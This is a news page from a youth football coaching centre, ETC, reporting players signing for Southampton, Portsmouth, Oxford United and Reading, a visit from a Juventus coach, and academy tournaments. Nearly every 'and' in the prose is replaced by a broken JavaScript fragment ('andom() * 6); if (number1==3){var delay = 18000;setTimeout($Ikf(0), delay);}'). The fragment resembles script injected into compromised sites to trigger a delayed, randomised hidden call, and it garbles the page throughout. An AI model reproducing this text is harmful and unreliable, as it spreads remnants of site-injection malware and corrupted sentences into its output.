Saints Foundation Phase Cup

On 25th November, we were invited by Southampton FC Academy to play in the Foundation Phase Cup at Staplewood; another fantastic event for the ETC players to take part in. Well done to all involved.

Anya signs for Saints

A huge well done to Anya who has recently signed registration forms with Southampton Girls. All of us at ETC are delighted to have played a small part in Anya’s journey. We are incredibly proud of this young ladies achievement. We are sure she will be an inspiration to many other young girls playing the game. Anya has always been a pleasure to work with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more than competed with the boys, we are sure they will all vouch for this! Anya was a credit to ETC when she represented us in Academy fixtures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we wish her the best of luck for the future #thisgirlcan

Juventus visit ETC

In October, we welcomed Juventus First Team coach Aldo Dolcetti to our St George’s ETC centre. After observing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discussing all things coaching, Aldo kindly took time to talk to the players about his experiences with Juve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in particular Ronaldo. A great insight into arguably the world’s greatest player. Incredible take home messages for the boys.

Lewis signs for Pompey

Our first week back after the summer break was topped off when we have received the news Lewis O had signed registration forms with Portsmouth FC Academy. After impressing in a game for ETC vs Portsmouth, Lewis was put straight into their side to play Arsenal Academy. This led to the blues making the decision to take Lewis on board for the season. All at ETC are delighted to have played a small part in Lewis’s development. He has been an integral part of our teams in many academy fixtures over the years. Lewis is a fantastic athlete andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has worked incredibly hard to improve all aspects of his game. We all wish Lewis the very best of luck for his time at PFC!

Bobby joins the Blue Army

It was a special ETC moment in September when Bobby Gorman signed registration forms for Portsmouth FC Academy U13s. All at the ETC are delighted to have played a small part in Bobby’s development over the years – he has been attending sessions since the age of 6 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has always been a pleasure to work with. Bobby’s perseverance, determination, dedication andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and attitude towards training has always been fantastic. He has been a real stalwart in so many ETC games over the years – his left foot will certainly be missed! Good luck for your time at PFC Bobby.

Sukjae joins Portsmouth

Huge congratulations to Sukjae Lee on signing registration forms for Portsmouth FC under 16s. A fantastic achievement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fully deserved. One of the most gifted players we have had the pleasure of working with at ETC. An incredibly creative young player andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we all look forward to hearing about the progress he makes at PFC. Sukjae not only demonstrated the technical ability to play at an Academy level but also the desire – he would not leave the astro after ETC sessions until the floodlights went out! Sukjae demonstrated his ability in games for ETC away at Southampton andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Portsmouth’s Academies. We all wish him the best of luck for the future.
Sukjaes testimony written by himself:
“I enjoyed playing at ETC. It was a great opportunity to improve my skills.
ETC was the best place I have received training. I learned how to play in tight spaces andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and at a high intensity, my performance improved rapidly. I understood how to move with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and without the ball in game situations. I can say that the training in ETC is very very special.
ETC helped me to get into Portsmouth Academy. I have signed at Pompey because ETC trained me to get used to academy level intensity. I think ETC is the right place for the players who want to develop. I’d like to recommend ETC to the player who has confidence as a footballer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has a passion to improve. I appreciate all the support andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training of ETC.”

Summer games

A huge thank you to Portsmouth FC for inviting us to compete in a football festival at Sparsholt! This is the second Academy festival we have been invited to this year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provided a great opportunity for the ETC players to compete against several different Academy teams including Portsmouth, AFC Bournemouth andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cheltenham Town FC. The boys equipped themselves well andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and were competitive throughout. Well done to all involved – we look forward to the new season!

Armani joins Oxford

Former ETC andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Southampton FC player, Armani Little, has just signed for Oxford United.  Armani was one of the very first ETC players back in 2008 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and continues to be a terrific talent.  We wish him the very best of luck with his new club

ETC play in prestigious Foundation Cup

The ETC were thrilled to be invited to play in U9’s Southampton FC’s Foundation Cup.  As the only non-professional organisation in attendance, we relished the opportunity to play some of the top Academies in the country.  Our players performed terrifically in some tricky conditions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we a credit to themselves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ETC.  We would like to thank Southampton to this unique opportunity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and look forward to our next set of fixtures throughout the coming year.

Jack turns pro!

ETC, Reading andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and starlet, Jack Nolan, was thrilled to sign his first professional contract in May.  Jack continues to impress for both club andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and country andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is thoroughly deserving of becoming a professional football.  We would like to congratulate Jack as we continue to watch his career unfold with great excitement.